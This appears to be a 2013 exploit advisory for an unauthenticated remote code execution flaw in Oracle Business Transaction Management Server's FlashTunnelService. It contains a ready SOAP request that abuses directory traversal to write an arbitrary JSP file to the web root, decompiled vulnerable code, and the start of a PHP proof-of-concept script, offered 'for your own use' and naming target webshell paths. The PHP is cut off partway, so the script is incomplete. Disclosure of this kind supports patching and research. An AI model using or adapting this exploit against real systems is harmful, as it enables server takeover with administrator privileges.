Oracle Business Transaction Management Server FlashTunnelService WriteToFile Remote Code Execution Exploit
29 Jan. 2013
Summary
The mentioned product installs a web service called "FlashTunnelService" which can be reached without prior authentication and processes incoming SOAP requests.
Credit:
The information has been provided by rgod.
Vulnerable Systems:
* Oracle Business Transaction Management Server 12.1.0.2.7
POST /btmui/soa/flash_svc/ HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://soa.amberpoint.com/writeToFile"
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 192.168.0.1:7001
Content-Length: [length]
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">
<soapenv:Header/>
<soapenv:Body>
<int:writeToFileRequest>
<int:writeToFile handle="..\..\..\..\..\..\..\..\[path]\somefile.jsp">
<!--Zero or more repetitions:-->
<typ:text>[code]</typ:text>
<!--Optional:-->
<typ:WriteToFileRequestVersion>
<!--You may enter ANY elements at this point-->
</typ:WriteToFileRequestVersion>
</int:writeToFile>
</int:writeToFileRequest>
</soapenv:Body>
</soapenv:Envelope>
The 'handle' property can be used to control the location of the newly written file (it suffers of a directory traversal ulnerability). File extension can also be controlled. File content can be controlled through the 'text' element (note that one must convert the code to html entities firstly, the soap interface will reconvert it to his original format).
Given this, a remote attacker, could place an arbitrary jsp script inside the main web server root path, then execute arbitrary code with the privileges of the weblogic installation, usually Administrator privileges). vulnerable code, see the decompiled com.amberpoint.flashtunnel.impl.FlashTunnelServiceImpl.class
...
public IWriteToFileResponse writeToFile(IWriteToFileRequest request)
throws SOAPFaultException
{
WriteToFileResponse wtfr = new WriteToFileResponse();
String handle = request.getHandle();
TypedList text = request.getText();
if(text != null && text.size() > 0)
{
File f = getFileFromHandle(handle);
if(f != null)
try
{
FileOutputStream fos = new FileOutputStream(f);
OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8");
int i = 0;
for(int ii = text.size(); i < ii; i++)
{
String s = (String)text.get(i);
osw.write(s);
osw.write("\n");
}
As attachment, proof of concept code written in php, launch from the command line, modify for your own use.
<?php
/*
Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService
WriteToFile Message Remote Code Execution Exploit
tested against: Microsoft Windows Server 2003 r2 sp2
Oracle WebLogic Server 12c (12.1.1)
Oracle Business Transaction Management Server 12.1.0.2.7 (Production version)
%>
';
$code=htmlentities($code); //convert all to html entities, then no bad chars
//we should write to:
//C:\Oracle\Middleware\wlserver_12.1\samples\server\examples\build\mainWebApp\WEB-INF\classes\mainWebApp#\suntzu.jsp
//C:\Oracle\Middleware\wlserver_12.1\samples\server\examples\build\mainWebApp\suntzu.jsp
//change to a location of choice